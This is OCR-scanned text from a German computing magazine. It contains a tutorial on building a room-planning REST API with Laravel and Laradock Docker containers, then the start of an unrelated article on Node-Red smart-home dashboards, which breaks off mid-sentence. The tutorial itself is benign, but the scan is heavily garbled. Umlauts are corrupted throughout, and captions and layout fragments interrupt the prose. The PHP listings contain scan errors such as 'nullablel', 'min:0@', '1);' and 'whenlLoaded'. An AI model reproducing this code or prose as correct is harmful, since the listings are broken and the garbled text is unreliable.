cker, Docker-Compose [3], Git und eine
Entwicklungsumgebung Ihrer Wahl in-
stalliert haben. Docker-Experte brau-
chen Sie fiir den Bau des APIs nicht zu
sein - die wichtigsten Befehle lernt man
wihrend der Arbeit mit den Laradock-
Containern.

Tragende Wiande ziehen

Bevor es losgeht, brauchen Sie ein Arbeits-
verzeichnis auf Threm macOS-, Windows-
oder Linux-Rechner. Navigieren Sie in der
Kommandozeile in diesen Ordner. Win-
dows-Nutzer sollten zur PowerShell grei-
fen, damit Sie aus der Unix-Welt bekannte
Befehle wie mv und cp nutzen konnen. Die
Laradock-Umgebung laden Sie per Git
herunter:

git clone https://github.com/;
blaradock/laradock.git

Wechseln Sie in den Ordner ,laradock".
Der Container-Aufbau wird tiber eine
Datei namens ,.env“ konfiguriert, die
Umgebungsvariablen fiir das Container-
Setup enthilt. Eine vorbereitete Datei
liegt bereits im Ordner. Sie muss nur ko-
piert werden: cp env-example .env. Der
Kopiervorgang muss unter Windows tiber
die PowerShell erfolgen, weil der Explorer
nicht in der Lage ist, eine Datei in .env
umzubenennen. Offnen Sie die umbe-
nannte Datei in einem Texteditor und
andern Sie die Zeile, die mit APP_
CODE_PATH_HOST beginnt. Sie legt fest, wo
das Verzeichnis mit dem PHP-Code liegen
soll. Fiir das Beispiel soll der Ordner ,,ct-
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restposten heiflen und auf gleicher
Ebene wie der Ordner ,laradock® liegen.

APP_CODE_PATH_HOST=. ./ct-restposten

Eine weitere kleinere Anderung ist in der
Zeile notig, die die Variable MYSQL_VERSION
enthalt. Sie muss auf 5.7 festgelegt wer-
den - mit MySQL 8 gibt es aktuell Proble-
me, an denen die Laradock-Entwickler ar-
beiten. Auf Windows-Nutzer lauert vor
dem ersten Start noch eine kleine Falle: Je
nach Einstellung von Git konnen die Zei-
lenenden von Skriptdateien beim Clone-
Vorgang beschidigt werden. Offnen Sie
die Datei laradock/nginx/startup.sh mit
einem Editor wie Notepad++ und stellen
Sie iiber ,,Bearbeiten/Format Zeilenende*
sicher, dass Unix-Zeilenenden ausgewihlt
sind. Wollen Sie mehrere Laradock-In-

namespace App\Http\Controllers;

use App\Building;

use App\Room;

use App\Http\Resources\RoomResource;
use Illuminate\Http\Request;

class RoomController extends Controller{

REST-API entwickeln | Praxis

stanzen auf einem PC betreiben, sollten
Sie DATA_PATH_HOST in einen individuellen
Projektnamen dndern. Ansonsten tiber-
schreiben sich die Datenbankcontainer
schlimmstenfalls gegenseitig.

Jetzt sind alle Vorkehrungen getroften
und die Anwendung kann das erste Mal
gestartet werden. Fithren Sie im Ordner
ylaradock® den Befehl

docker-compose up -d 3
bnginx mysql workspace

aus. Docker wird die Container mit Nginx,
MySQL und der Arbeitsumgebung bauen
und hochfahren. Das wird beim ersten
Start etwa flinf Minuten dauern, weil Do-
cker die Abhéngigkeiten herunterladt und
Skripte ausfiihrt. Herunterfahren konnen
Sie das Setup mit docker-compose down.

public function index(Building $building){

return RoomResource::collection(

$rooms = Room: :where('building_id', $building->id)

)
}

public function show(Building $building, Room $room) {

return new RoomResource(
$room

);

}

public function store(Request $request, Building $building){

$request->validate ([

"name" => "required|string|min:3|max:255",

"seats" => "nullablel|integer|min:0@",
"windows" => "required|boolean",
1);
$room = new Room($request->input());
$room->building_id = $building->id;
$room->save();
return new RoomResource($room);

}

public function destroy(Building $building, Room $room){

$room->delete();

return response()->json('Room deleted', 200);

}

public function update(Request $request, Building $building, Room $room){

$request->validate ([
"name" => "string|min:3|max:255",
"seats" => "nullable|integer|min:@",
"windows" => "boolean",
1);
$room->fill($request->input());
$room->save();
return new RoomResource($room);
}
}

Dank Laravel hat man mit diesem kurzen Stiick PHP-Code das Herzstlick
des REST-APIs, den Controller fiir die Raume, komplett umgesetzt.
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Die Objekte des Raumplans

Der Raumplan besteht aus zwei Models: Raumen und Gebauden.

Ein Gebaude hat beliebig viele Raume.

id:iincrement

building_id:integer

Qe
Qo

name:string
seats:integer
windows:boolean
created_at:DateTime
updated_at:DateTime

Laravel selbst ist ein Paket, das tiber
die PHP-Paketverwaltung Composer
installiert werden kann. Composer miis-
sen Sie nicht auf Threm lokalen Rechner
installiert haben - dafiir haben Sie den
Container workspace. In diesen gelangen
Sie tiber die Kommandozeile mit dem Be-
fehl docker-compose exec workspace bash.
Um ein leeres Laravel-Projekt anzulegen,
reicht folgender Befehl. Der Punkt am
Ende legt fest, dass kein Unterordner an-
gelegt wird.

composer create-project 3
blaravel/laravel .

Wihrend Composer das Projekt aus allen
Abhingigkeiten zusammensetzt, konnen
Sie einen Blick in den Ordner ,,ct-restpos-
ten im Uberordner von ,,laradock® wer-
fen, der sich jetzt langsam fiillt. Hier lan-
det der vollstindige Code, den Sie zum
Beispiel zu einem Git-Repository hinzufii-

Building

W id:increment

description:text
name:text
created_at:DateTime
updated_at:DateTime

gen konnen. Docker kiimmert sich darum,
dass dieser Ordner im Container erreich-
bar ist.

Auch Laravel hat eine eigene .env-
Datei. Sie sollte spiter nicht in der Ver-
sionsverwaltung eines offentlichen Repo-
sitorys landen, weil sie unter anderem Zu-
gangsdaten fiir die Datenbank enthalt.
Fiir den Anfang miissen Sie nur die Ein-
stellungen fiir die Datenbank folgender-
mafden anpassen:

DB_CONNECTION=mysql
DB_HOST=mysql
DB_PORT=3306
DB_DATABASE=default
DB_USERNAME=default
DB_PASSWORD=secret

Ist die Installation von Composer im Con-
tainer abgeschlossen, sollten Sie bei
Aufruf von ,http://localhost® in Threm
Browser die Startseite der Laravel-Anwen-

API-Endpunkte fir die Raumverwaltung

/buildings

/buildings POST
/buildings/{bid} GET
/buildings/{bid} PUT
/buildings/{bid} PATCH
/buildings/{bid} DELETE
/buildings/{bid}/rooms GET
/buildings/{bid}/rooms POST
/buildings/{bid}/rooms/{rid} GET
/buildings/{bid}/rooms/{rid} PUT
/buildings/{bid}/rooms/{rid} PATCH
/buildings/{bid}/rooms/{rid} DELETE
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dung sehen und die Programmierarbeit
kann beginnen.

Regale errichten

Das Lagergebaude steht, es muss nun mit
Leben gefiillt werden. Der Raumplan soll
zwei Objekte verwalten: Building und
Room. Beide bekommen Datenbanktabel-
len und PHP-Klassen, tiber die man auf
die Daten zugreifen kann. Laravel arbeitet
nach dem Muster MVC (Model-View-
Controller): Eingehende Anfragen werden
also iiber einen Controller entweder das
Model veriandern oder einen View zuriick-
geben. Bei einem REST-API bekommt der
Client JSON-Daten zurtick.

Damit in die SQL-Datenbank ge-
schrieben werden kann, muss die Struktur
der Datenbanktabellen bekannt sein. Das
sollte man nicht per Hand erledigen, son-
dern einer Funktion von Laravel tiberlassen
-den sogenannten ,,Migrations®. Das sind
PHP-Skripte, die in einem Ordner der An-
wendung liegen. Ausgefiihrt werden sie
von Laravels Kommandozeilenwerkzeug
»Artisan“. Welche Funktionen das mit-
bringt, erfahren Sie mit dem Befehl php
artisan im Workspace-Container. Die Mi-
grations enthalten Befehle zur Erstellung
oder Veranderung von Tabellen oder Attri-
buten innerhalb der Datenbank. Da diese
Migrations mit dem Code gespeichert wer-
den, konnen zum Beispiel andere Entwick-
ler, die mit am Projekt arbeiten, schnell die
gleiche Datenbankstruktur erzeugen.

Die Datenbankanfragen fiir die Ob-
jekte muss man nicht per Hand tippen. La-
ravel zieht eine Abstraktionsschicht, das
Objekt Relational Mapping (ORM) mit
dem Namen Eloquent, ein. Ein Grof3teil
der Arbeit ist also mal wieder bereits
getan, Sie miissen das Model nur noch er-
stellen lassen. Das geschieht {iber Artisan:

aktualisiert den kompletten Datensatz des Gebaudes mit der ID {bid}
aktualisiert Teile des Datensatzes des Gebaudes mit der ID {bid}
l6scht das Gebdude mit der ID {bid} und alle zugehdrigen Rdume
gibt alle Rdume des Gebaudes mit der ID {bid} zuriick

erstellt einen neuen Raum in dem Gebaude mit der ID {bid}

aktualisiert den kompletten Datensatz des Raums mit der ID {rid}
aktualisiert Teile des Datensatzes des Raums mit der ID {rid}

Gebaude index gibt alle Gebaude zuriick

Gebdude store erstellt ein neues Gebdude

Gebaude show gibt das Gebaude mit der ID {bid} zuriick
Gebaude update

Gebaude update

Gebaude destroy

Raum index

Raum store

Raum show gibt den Raum mit der ID {rid} zuriick
Raum update

Raum update

Raum destroy loscht den Raum mit der ID {rid}
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localhost/api/buildings/

POST +  localhost/apibuildings/

™M

® form-data xetaww-form-urlencoded raw binary

Body ) ()

"Ein dunkler Kellerraum”,
2018-12-12 18:30:17",
26818-12-12 18:30:17",

VALUE

Keller

Ein dunkler Kellerraum

Ein API hat keine Oberflache. Postman l6st dieses Problem und bietet

sogar eine Méglichkeit zur Dokumentation.

php artisan make:model Building -r -m

Die Parameter -r und -mlegen Controller
und Migration an. Es gilt als guter Stil, den
Namen des Models im Singular zu schrei-
ben - die Tabelle bekommt einen Namen
im Plural, auch darum kiimmert sich La-
ravel. Die leere Hiille fiir die Migration fin-
den Sie im Ordner ,,database/migrations
im Laravel-Projekt. Offnen Sie die Datei
und erginzen Sie die Funktion up() um
zwei Zeilen, die die Tabelle um Spalten fiir
einen Namen (' name') und eine Beschrei-
bung ('description') erweitern (hinter
dem Kommentar):

public function up()
{

Schema::create('buildings',
function (Blueprint $table) {
$table->increments('id');

$table->timestamps();
//Folgende Zeilen einfiigen!
$table->string('name');
$table->text('description');
1)
}

Die Dokumentation (siehe ct.de/y3hx)
verrit alle moglichen weiteren Spalten-
typen, mit denen Sie weitere Attribute fiir
das Gebidude anlegen konnen. Den Raum
erstellen Sie auf die gleiche Weise. Er be-
kommt Spalten fiir 'seats' und 'windows".
Zusatzlich ein Attribut vom Typ integer,
mit dem Namen 'building_id'. Diese Zu-
weisung benutzt Laravel, um die Riume
den jeweiligen Gebduden zuzuordnen.
Um die Verkniipfung zwischen den Mo-
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dels herzustellen, miissen Sie in den Mo-
dels eine Funktion hinterlegen. Die Funk-
tion bekommt die Sichtbarkeit public und
muss den Namen der Verkniipfung tra-
gen. Ein Gebédude hat viele Rdume, die
Funktion heif3t also rooms. Artisan hat das
Model fiir das Gebdude im Unterordner
»app" als Building.php angelegt. Fligen Sie
hier die folgende Funktion hinzu:

public function rooms() {
return $this->hasMany('App\Room"');
}

Laravel 10st diese Zuordnung spiter auto-
matisch auf und l1adt die passenden Infor-
mationen der zugehorigen Objekte. Das
Framework unterstiitzt auch komplexere
Beziehungen. Die Dokumentation enthélt
diverse Beispiele. Anschliefdend fiihren
Sie im Workspace-Container php artisan
migrate aus. Das startet die Migrations-
Skripte und die Tabelle entsteht. Artisan
merkt sich tibrigens, welche es schon aus-
gefiihrt hat. Sie konnen also jederzeit neue
erganzen und die Migration anstof3en.

Jetzt sind noch zwei Artisan-Befehle
notig, die Klassen fiir die Riickgabe von
JSON-Objekten erzeugen. Jedes Model
bekommt eine Resource (stellt ein Objekt
dar) und eine Collection (stellt mehrere
Objekte) dar:

php artisan make:resource;
& BuildingCollection

php artisan make:resource;
b BuildingResource

Fiir die Rdume fiihren Sie diese Befehle
entsprechend aus. Die Models mit den

Namen Room.php und Building.php wer-
den nur leicht angepasst. Sie bekommen
je eine Variable $fillable, die alle Attribu-
te enthilt, die spater zugewiesen werden
diirfen. Fiir die Gebdude sind das der
Name und die Beschreibung, nicht aber
die ID und das Anderungsdatum:

protected $fillable = ['name',
'description'];

Laufwege aufmalen

Wenn Datenpakete an der Laderampe an-
gefragt werden, muss der Laufweg zum
Regal klar sein. Um solche Routen, also
die Ubersetzung einer HTTP-URL zum
Namen einer zustdndigen Funktion, zu
registrieren, miissen Sie die Datei
routes/api.php Offnen. Vorher sollten Sie
sich tiberlegen, welche Routen es geben
kann. Die Tabelle auf Seite 156 enthilt
eine Ubersicht. Riume sind Gebiuden
untergeordnet, weil kein Raum ohne sein
Gebaude existieren kann. Deswegen wer-
den sie auch in den Routen dem Gebédude
untergeordnet. Jedes Objekt soll sechs
Routen bekommen. Statt sie alle per Hand
anzulegen, konnen Sie mit der Funktion
apiResource() arbeiten, die das mit zwei
Zeilen erledigt:

Route::apiResource('buildings',
'BuildingController');
Route::apiResource('buildings.rooms',
'RoomController');

Lagerarbeiter anlernen

Die Lagerarbeiter wissen dank der Lauf-
wege jetzt, von welcher Ausgabestelle sie
zuwelchem Regal laufen miissen, was sie
dort tun sollen, hat ihnen aber noch keiner
gesagt. Die Anfragen kommen also bei
den Controllern fiir den Raum und das
Gebaude an. Diese liegen unter app/Http/
Controllers, sind aber noch leere Hiillen,
die Sie mit Leben fiillen miissen. Den
Controller fiir die Rdume finden Sie tiber
ct.de/y3hx im Beispielprojekt. Im Listing
auf Seite 155 sehen Sie den Controller fiir
das Gebaude.

Die Methoden index () und show() sol-
len nur Informationen anzeigen und sind
deshalb leicht zu implementieren. index ()
soll alle Raume zurilickgeben, die zu
einem Gebidude gehoren. Die ID des Ge-
bdudes wird in der URL {ibergeben, also
zum Beispiel ,, /api/buildings/1/rooms".
In diesem Fall hilft Laravel mit dem soge-
nannten ,,Route Model Binding“ (RMB)
aus. Laravel weif3, dass es sich um das Ob-
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jekt Building handelt und iibergibt hier das
passende Objekt als $building. Die Metho-
de where() tiberpriift dann eine Bedingung
-1in diesem Fall ,,alle Elemente, die fol-
gende building_id haben®. Die Funktion
show() funktioniert noch einfacher. Sie
gibt einfach das vom RMB erzeugte Ob-
jekt als RoomRessource, also im JSON-For-
mat, zuriick.

In der destroy()-Methode muss nur
die delete()-Methode des Objekts ausge-
flihrt werden. Das Objekt selbst kommt
ebenfalls per RMB iiber die ID, die in der
URL enthalten ist. Es fehlen nur noch die
Methode zum Speichern und Aktualisie-
ren von Datensétzen und wieder nimmt
Laravel viel Arbeit ab: In beiden Metho-
den gelangen Daten im HTTP-Body in das
API, die validiert werden mochten - dem
Nutzer darf man niemals trauen.

Die Validierung tibernimmt validate().
Je nach Attribut und Datentyp konnen Sie
zum Beispiel auf die Lange von Strings,
den Zeitpunkt eines Datums in der Ver-
gangenheit oder die Existenz eines
Fremdschliissels in einer anderen Tabelle
priifen. Die vollstandige Liste von Prif-
regeln finden Sie in der Dokumentation.
Besteht ein Attribut nicht alle Priifregeln,
gibt die Anwendung eine Fehlermeldung
zuriick und beschreibt, welche Regel nicht
eingehalten wurde. Entsprechen alle
Daten den Anforderungen, reicht eine
Zeile, um einen neuen Datensatz anzule-
gen. Die Variable $request enthilt die
iibergebenen Werte:

$room = new Room($request->input());

Ware verpacken
Die Anwendung ist lauffdhig, aber noch
nicht fertig. Testen konnen Sie das Projekt
nicht mehr iiber einen Browser. Eine GET-
Anfrage kann er noch absetzen, andere
HTTP-Verben konnen Sie ohne weitere
Arbeit aber nicht nutzen. Verwenden Sie
fiir Experimente mit dem API stattdessen
ein Werkzeug wie ,,Postman (Download
siehe ct.de/y3hx), das fiir die Arbeit mit
APIs gedacht ist. Erzeugen Sie darin einen
neuen POST-Request mit Werten fiir
"name' und 'description'. Auf Seite 158
sehen Sie beispielsweise die Erzeugung
eines Gebaudes. Wer es lieber puristisch
mag, kann auch mit curl arbeiten. Lara-
vels API-Pfade beginnen immer mit /api/,
auf der Docker-Maschine also zum Bei-
spiel localhost/api/buildings/1/.

Arbeit gibt es aber weiterhin zu tun:
Bisher kommt jedes Objekt genau so zu-
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<{?php
namespace App\Http\Resources;
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use Illuminate\Http\Resources\Json\JsonResource;
class BuildingResource extends JsonResource

{
public function toArray($request)
{

return [

"id" => $this->id,

"name" => $this->name,

"levels" => $this->levels,

"another_value" => "Irgendwelche anderen Daten...",
"rooms" => RoomResource::collection($this->whenlLoaded("rooms")),

"created_at" => $this->created_at,
"updated_at" => $this->updated_at,
13

Die API-Resource ist die Ausgabestelle fiir die JSON-Darstellung des Objekts.

Hier kann der Entwickler eingreifen.

riick, wie es in der Datenbank existiert. An
vielen Stellen wurden leere Klassen er-
zeugt und man kann das Gefiihl bekom-
men, zu viel heifde Luft fiir ein paar SQL-
Abfragen zu produzieren. Die Stérke eines
Frameworks wie Laravel ist seine Erwei-
terbarkeit.

Ein Einstieg fiir Verdnderungen ist die
API-Ressource, also der Ort, an dem der
JSON-Ausgang definiert wird. Sie konnen
mit API-Ressourcen nicht nur Attribute
ausblenden, sondern diese auch verin-
dern oder mit anderen Informationen an-
reichern. Ebenso konnen Sie Attribute nur
unter bestimmten Bedingungen anzeigen
lassen oder grofde Listen in mehrere Hap-
pen aufteilen. Die BuildingResource.php
liegt im Ordner ,,app/Http/Resources.
Hier konnte man zum Beispiel die Be-
schreibung ausblenden oder andere
Werte erganzen.

Feierabend machen

Sollten Sie Gefallen an der Arbeit mit La-
ravel gefunden haben, konnen Sie das
Projekt erweitern: Eine Benutzerauthen-
tifizierung mit OAuth-Tokens liefert die
Erweiterung laravel/passport. Damit
schotten Sie Teile des APIs schnell und si-
cher vor unbefugten Zugriffen ab. Soll es
bei einem API bleiben, hat das vollstandi-
ge Laravel etwas zu viel Ballast dabei. Es
kann schliefilich auch Webseiten rendern
und bringt dafiir eigene Routen und Ja-
vaScript mit. Fiir ein reines API kdnnen
Sie auf das von Laravel abstammende Pro-
jekt ,,Lumen“ setzen. Installieren konnen
Sie es ebenfalls mit Composer:

composer create-projectj
& laravel/lumen .

Um in Lumen mit Eloquent arbeiten zu
konnen und ohne handgeschriebene
SQL-Befehle auszukommen, ist eine
kleine Anderung nétig: Offnen Sie die
Datei "bootstrap/app.php" und entfernen
dort das Kommentarzeichen vor der
Zeile

$app->withEloquent();

Wenn Sie tiefer einsteigen mochten, soll-
ten Sie nicht damit beginnen, jeden Un-
terordner und jede Klasse verstehen zu
wollen. Laravel liefert viele eingebaute
Funktionen mit, deren Nutzen Sie beim
Lesen der Dokumentation immer dann
kennenlernen, wenn Sie ein Problem
16sen miissen. Da die Applikation im Do-
cker-Container lduft, konnen Sie jederzeit
mit einem frischen Laravel beginnen, Bei-
spielprojekte in den Projektordner kopie-
ren oder die Datenbank neu anlegen. Auf
dem Testrechner bleiben dadurch keine
Reste, die spiter Probleme verursachen.
(jam@ct.de) c&
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Grafische Oberflachen fiir Node-Red entwickeln

Mit dem Dashboard-Modul fiir
Node-Red bauen Sie in Windeseile
ansprechende Oberflidchen fiir
das eigene Smart-Home.

Von Merlin Schumacher

Die Automation in ,,Hausautomation®
ist das Ziel, aber im real existierenden
Hausautomatismus muss man auch mal
manuell eingreifen. Das macht mit einer
aufgerdumten und auf jedem Gerit lauf-
fahigen Oberfliche mehr Spaf als mit
Kommandozeilenwerkzeugen und Konfi-
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gurationseditoren. Dartiber hinaus ist es
fiir weniger technikaffine Mitmenschen
zuginglicher. Wer noch keine Erfahrun-
gen mit Node-Red hat, sollte zundchst mit
dem Artikel ,,Reaktionsmaschine” [1] aus
¢’'t 15/2018 einsteigen. Darin werden so-
wohl die Einrichtung als auch die ersten
Schritte mit dem grafischen Entwick-
lungswerkzeug beschrieben.

Die Node-Red-Oberflichen kénnen
Sie vollstandig innerhalb des Regeledi-
tors ohne aufwendige Programmiererei
bauen. Die Oberflache lauft im Browser.
Bei Smartphone und Tablets verhilt sie
sich sogar wie eine native App, denn sie
ist als sogenannte Progressive-Web-App
(PWA) umgesetzt. Die Gestaltungsmog-

lichkeiten der Oberflachen sind dabei -
wie von Node-Red gewohnt - weitldufig:
Von der einfachen Textanzeige iiber Ver-
laufsdiagramme bis hin zum Farbwahl-
Dialog sind ausreichend Widgets dabeli,
um die Sensoren und Aktoren des Heims
zu Uberwachen und zu steuern.

Im Rahmen der Erstellung komple-
xerer Dashboards gibt es zudem noch ein
paar (Node-Red-)Fallstricke, denen man
leicht ausweichen kann.

Einrichtung

Das Dashboard-Modul installieren Sie
wie alle anderen Erweiterungen tiber die
Palette. Klicken Sie dazu im Regeleditor
rechts oben auf das Hamburger-Meni
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(die drei horizontalen Balken) und an-
schlielend auf ,,Manage palette“. Im er-
schienenen Dialog wechseln Sie zum Rei-
ter ,Install“. In das Suchfeld tippen Sie
dann ,node-red-dashboard ein und kli-
cken Sie beim gleichnamigen Eintrag auf
»install“. Nachdem die Installation abge-
schlossen ist, schlief3en Sie den Dialog
mit einem Klick auf ,,Close“.

In der Liste der verfligbaren Nodes
am linken Rand des Editors finden Sie
nun eine Kategorie mit dem Titel
»dashboard® und 16 neue Nodes. Auch
neu ist der Reiter ,,Dashboard” in der
rechten Seitenleiste. Er versteckt sich ver-
mutlich hinter dem Overflow-Menii mit
dem nach unten zeigenden Dreieck. Hier
konnen Sie die Elemente, Gruppen und
Tabs der Oberfliche sortieren und struk-
turieren. Nach dem ersten Klick auf den
Reiter erzeugt Node-Red im Hintergrund
einen Konfigurations-Node fiir das
Dashboard, der dann im Reiter ,,Configu-
ration nodes” erscheint. Lassen Sie ihn
einfach in Ruhe, man kann an ihm nichts
konfigurieren und er wird immer wieder
neu erstellt, wenn man ihn l6scht.

Die Seitenleiste fiir das Dashboard
hat drei Unterreiter: ,,Layout*, ,,Site” und
,Theme"“. Klicken Sie zunichst auf ,,Site",
um die Grundeinstellungen der Dash-
board-Ansicht festzulegen. Die Einstel-
lung ,, Title" legt den im Browser und auf
dem Startbildschirm der PWA angezeig-
ten Titel fest. Darunter kann man defi-
nieren, wie sich die Oberflache verhalt.
Die erste Option ,,Show the titlebar be-
stimmt, ob die Titelleiste und das Ham-
burger-Menti des Dashboards sichtbar
sein sollen oder nicht. Fiir den Anfang
lasst man sie besser sichtbar.

Grundsitzlich spart man durch das
Verstecken aber Platz, was gerade bei
Smartphones wiinschenswert ist. Dafiir
verliert man die Moglichkeit, iiber das
Menii zu anderen Tabs der Oberfliche
zu wechseln. Das kann man durch das
Einstellen von ,Always show side
menu“ im folgenden Dropdown-Feld
nur teilweise kompensieren. Dadurch
wird ndmlich eine Liste der Tabs immer
eingeblendet, unabhingig von der Sicht-
barkeit des Mentiis. Auf Smartphones
bleibt die Liste aber unsichtbar. Um das
Wechseln auf dem Smartphone zwi-
schen den Seiten zu vereinfachen, gibt
es die Option Nummer drei (,,Allow
swipe between tabs“). Sie regelt die
Moglichkeit, per Wischgeste zwischen
den Seiten hin- und herzuwechseln. An
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sich ist das ein schones Feature, aber die
Software missversteht das Einstellen
von Reglern gern als Wischgeste. Daher
sollte man das Feature abstellen, falls es
nervt.

Die letzte Option des Blocks legt fest,
welches Design das Dashboard verwen-
det. Die Standardeinstellung ,,Node-RED
theme everywhere" sollte fiir den Anfang
reichen und bietet im Reiter ,,Theme"
gleich rechts daneben die meisten Ein-
stellungsmoglichkeiten, um Farben und
Akzente flir das Dashboard zu definieren.
Nachfolgend kommt noch das Datums-
format, das Sie nach Wunsch anpassen
konnen. Welche Platzhalter Sie fiir wel-
che Datumsfragmente benotigen, verrit
ein Klick auf das kleine umkreiste i am
rechten Rand. Die letzten Einstellungen
zu den Widget-Grofien sind von rein
asthetischer Natur. Sie legen die Raster-
grofle fiir die Elemente (,,1x1 Widget
Size®), Absténde (,Spacing”) und Frei-
rdume (,,Padding”) fest.

Struktur

Wechseln Sie anschlieflend zum Reiter
»Layout“. An der rechten Seite gibt es zwei
kleine Knopfe. Der erste ist mit ,,+tab®, der
zweite mit ,,+link® beschriftet. Klicken Sie
zunichst auf den ,,+tab“-Knopf, um einen
neuen Tab zu erzeugen. Daraufthin er-
scheint ein neues Element mit dem Titel

c’'t Smart Home

Seit c't 02/2018 haben lUber mehrere
Ausgaben hinweg gezeigt, wie Sie mit
gunstigen fertigen und selbstgebauten
Komponenten ein cloudloses Smart
Home aufbauen, das mit freier Software
|auft. Weitere Artikel zum Thema finden
Sie in Zukunft unter dem Motto ,c't
Smart Home".

An erster Stelle des c't Smart Home
steht die Interoperabilitat zwischen Kom-
ponenten vieler Hersteller - so sind Sie
beim Einkauf der Gadgets nicht auf
einen Anbieter festgelegt. Daflir setzen
wir auf offene Protokolle wie beispiels-
weise MQTT. Das Telemetrieprotokoll er-
moglicht sparsame, schnelle Kommuni-
kation. Sensoren, zum Beispiel ein Fens-
terkontakt, schicken ihre Nachrichten
unter einem Thema (Topic) an einen
MQTT-Server (Broker) wie Mosquitto.

Node-Red-Dashboard | Praxis

i info i

v Information

== Deploy ~ -

i info - B
i Node information

v Information 4§ Debug messages

Flow
Name [ £ Configuration nodes
Status | & Context Data

Die Einstellungen fiir das Node-Red-
Dashboard verstecken sich hinter dem
Dropdown-Menii am rechten Rand.

,Tab 1 in der Liste. Die Tabs sind Seiten
innerhalb des Dashboards und enthalten
wiederum Gruppen, in denen sich ihrer-
seits die Widgets befinden. Wenn Sie mit
der Maus tiber den Tab in der Liste fahren,
werden hier zwei Knopfe sichtbar:
»+group und ,,edit“. Klicken Sie auf ,,edit",
um den Namen sowie das Icon des Tabs zu
andern. Legen Sie einen Namen wie etwa
»Lampen® oder ,Wohnzimmer* fest. Ein
Icon konnen Sie aus drei Bibliotheken wih-

Jede Smart-Home-Zentrale, die das Pro-
tokoll versteht, kann die Meldungen aus
einem Topic abonnieren und verarbeiten
- vollig unabhangig vom Hersteller des
sendenden Gerats. Mit Zigbee2MQTT
und HomeKit kommen Sensoren und
Aktoren dazu.

Unser Fokus liegt auf Node-Red,
eine Kombination aus Server und Frame-
work, in der ein Smart-Home-Admin Re-
geln in einer grafischen Browser-Umge-
bung zusammenklickt. Das c't Smart
Home lauft bei lhnen zu Hause, bei-
spielsweise auf einem Raspberry Pi und
versagt auch beim Internetausfall nicht.
Ein kostenloser Artikel, den Sie Uber
ct.de/y2pj finden, erklart die Grundlagen
und die Basis-Installation, die Sie beno-
tigen, um die Tipps in diesem und zu-
kiinftigen Artikeln umzusetzen.
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len: Googles ,Material Design®“-Icons, das
populédre ,Font Awesome“-Set und die
»Weather Icon“-Sammlung von Paul Reed.
Tragen Sie den Namen des Icons, den
Sie der Bibliothekswebsite entnommen
haben, zum Beispiel fa-1lamp oder signal_
wifi_off, ein. Im hellgelb hinterlegten Info-
Kasten am Ende des Bearbeitungsdialogs
sind Links zu den Symbol-Ubersichten der
drei Projekte. Klicken Sie auf ,Update”, um
die Anderungen zu iibernehmen.

Fligen Sie nun mittels des Knopfs
»+group” eine neue Widget-Gruppe
hinzu. Die erscheint als Unterelement
des eben erzeugten Tabs. Auch hier er-
scheint beim Uberfahren mit der Maus
ein ,edit“-Knopf. Klicken Sie ihn an, um
der Gruppe einen Namen zu geben, wie
etwa ,Deckenlampe®. Neben der Option,
einen Namen festzulegen, konnen Sie
hier den Tab auswahlen, in dem sie er-
scheinen soll und falls nétig tiber ,,Add
new ui_tab...“ einen neuen Tab hinzu-
fligen. Darunter gibt es die Option, die
Breite (,Width“) der Gruppe festzulegen.
Standardwert ist hier 6, was in etwa der
Bildschirmbreite eines Smartphones ent-
spricht. Sind mehrere Gruppen mit der
Breite 6 nebeneinander, werden Sie,
wenn moglich, nebeneinander platziert.
Geht das nicht, erscheinen Sie unter-
einander. Ist ein Widget zu grof$ fiir das
Browserfenster, muss man hin- und her-
scrollen. Wollen Sie die Gruppe zur opti-
schen, nicht aber inhaltlichen Organisa-
tion der Widgets verwenden, konnen Sie
deren Namen und Titelzeile mit ,, Display
group name an- und abschalten. Soll
man sie beim Klick auf den Titel einklap-
pen konnen, setzen Sie den Haken bei
»Allow group to be collapsed®.

Elemente
Ziehen Sie nun aus der Node-Liste am lin-
ken Rand einen ,,button“ in den aktuellen

Schlafzimmer

Schlafzimmerszene Ays - Wohnzimmerszene Abend -
Schlafzimmerlicht . Deckenlampe .
Lichtfarbe [ Helligkeit —————@
Nachttischlampe o Lichttemperatur —————@
Helligkeit —@ Stehlampe &

Wohnzimmer

Helligkeit @

Die Eingaben, die der Anwender auf der Oberflache macht,

verarbeiten die Flows von Node-Red.

Flow. Machen Sie dann einen Doppelklick
auf den neuen ,,button”, um ihn zu bear-
beiten. Im Bearbeitungsdialog ist die
eben angelegte Gruppe schon vorgewihlt.
Klicken Sie direkt wieder auf ,,Done®, um
die Einstellungen zu speichern. Klicken
Sie dann rechts oben auf ,,Deploy“, um
die Anderungen anzuwenden. Wenn Sie
nun hinter die URL der Node-Red-Adres-
se ein /ui anhéngen, etwa https://mein-
server:1880/ui, sollte sich das Dashboard
mit dem so eben erzeugten Knopf 6ffnen.
Der Knopf ist bereits anklickbar, auch
wenn er nichts auslost.

Die Dashboard-Nodes arbeiten wie
alle anderen Elemente in Node-Red auch
mit msg-Objekten und Payloads. Sie

geben die Payloads in unterschiedlichen,
meist konfigurierbaren Formen aus oder
nehmen Sie entgegen. Hier ein kurzes
Beispiel:

Wechseln Sie zuriick zum Regeledi-
tor, fligen Sie ein ,text“-Node ein und
machen Sie einen Doppelklick darauf.
Tragen Sie beim Feld , Label“ den Text
Hallo ein. Bei ,Value format* fiigen Sie ein
Ausrufungszeichen hinter {{msg.paylo-
ad}} an. Sichern Sie die Anderungen dann
mit einem Klick auf ,,Done”“. Nun bear-
beiten Sie noch mal den Button und tra-
gen im Feld Payload Ihren Namen (etwa
»Stefan“) ein und speichern sie die Ande-
rungen. Zum Abschluss ziehen Sie eine
Verbindung vom Ausgang des Knopfes

Stefan

~ node properties

A Group I Rest [Dashboard] | i ’
Hi Size
1 Label Hallo 777!
Mit zwei Nodes
1 Value format | Hallo {{msg.payload)}! und einem
) Mausklick
8 Layout R etval B begriiBt einen
labelvalue labelvalue abelvalue ]
Node-Red mit
Namen.
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Nachttischlampe

\.ﬂ = _
' Nachttischlampe Helligkeit -

Number to brightness

Schlafzimmerszene

Wohnzimmer

Deckenlampe

Deckenlampe Helligkeit

Lichttemperatur

Number to brightness

Number to color_temp

w4

Stehlampe

Stehlampe Helligkeit

Wy ——

Wohnzimmerszene

Die Dashboard-Nodes dienen zur Gestaltung der Oberflache.

zum Eingang des Textelements und kli-
cken auf ,,Deploy“.

Wenn Sie nun das Dashboard 6ffnen
und den Knopfklicken, wird ein msg-Ob-
jekt mit der Payload abgeschickt. Der Text-
Node tibernimmt dann den Text in msg.
payload und zeigt ihn wie in ,Value format*
definiert an. Sie sollten vom Dashboard
